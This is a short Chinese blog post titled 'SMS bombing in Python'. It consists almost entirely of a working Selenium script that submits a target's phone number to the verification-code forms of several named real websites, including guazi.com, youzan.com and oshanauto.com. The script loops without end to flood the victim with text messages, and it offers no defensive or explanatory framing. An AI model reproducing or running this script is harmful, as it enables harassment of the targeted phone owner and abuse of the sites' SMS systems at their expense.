python 实现短信轰炸

from selenium import webdriver
import time
# from fake_useragent import UserAgent
# ua = UserAgent(verify_ssl=False)
from selenium.webdriver.common.action_chains import ActionChains
opt = webdriver.ChromeOptions()
# opt.add_argument('--headless')
#更换头部
opt.add_argument('user-agent="%s"' % 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36')
 
driver = webdriver.Chrome(chrome_options=opt)
 
class PunchBack:
 
    def __init__(self):
        #放要轰炸的手机号
        self.phone = '*******'
        self.name = 'wocao123456'
        self.password = 'nima789456++..'
        self.num = 0
 
    # 发送验证码
    def send_yzm(self,button,name):
        button.click()
        self.num+=1
        print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
 
    # 瓜子注册接口
    def guazi(self,name):
        try:
            driver.implicitly_wait(10)
            driver.get ( "https://www.guazi.com/www/bj/buy" )
            a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
            a_btn.click ()
            tel = driver.find_element_by_xpath ( "/html/body/div[2]/form/ul/li[1]/input" )
            tel.send_keys ( self.phone )
            button = driver.find_element_by_xpath ( "/html/body/div[2]/form/ul/li[2]/button" )
            self.send_yzm ( button,name )
        except:
            print('本次失败')
    #长安
    def changan(self,name):
        try:
            driver.get ( "http://www.oshanauto.com/member/login?jump=http://www.oshanauto.com/member" )
            driver.implicitly_wait(10)
            tel = driver.find_element_by_xpath ( "/html/body/div[1]/div[2]/div/div/div[1]/div/input" )
            tel.send_keys ( self.phone )
            driver.find_element_by_xpath ( '/html/body/div[1]/div[2]/div/div/div[2]/div/span' ).click()
            button = driver.find_element_by_xpath ("/html/body/div[1]/div[2]/div/div/div[2]/div/span" )
            self.send_yzm ( button,name )
            # self.send_yzm (name)
        except:
            print('本次失败')
 
    # 有赞注册接口
    def youzan(self,name):
        try:
            driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
            button = driver.find_element_by_xpath('//button[contains(./text(),"获取验证码")]')
            self.send_yzm(button, name)
        except:
            print('本次失败')
    # 弹个车
    def tangeche(self,name):
        for i in range(3):
            driver.get('https://www.tangeche.com/market')
            time.sleep(0.1)
        # driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@placeholder="请输入您的手机号"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//div[contains(./text(),"咨询更多优惠")]')
        self.send_yzm(button,name)
    # 循环执行
    def main(self):
        while True:
            self.changan('长安')
            time.sleep(60)
if __name__ == '__main__':
    OnePunchMan = PunchBack()
    OnePunchMan.main()

  

posted @ 2020-08-06 16:49  安乐的技术博客  阅读(1107)  评论(0编辑  收藏  举报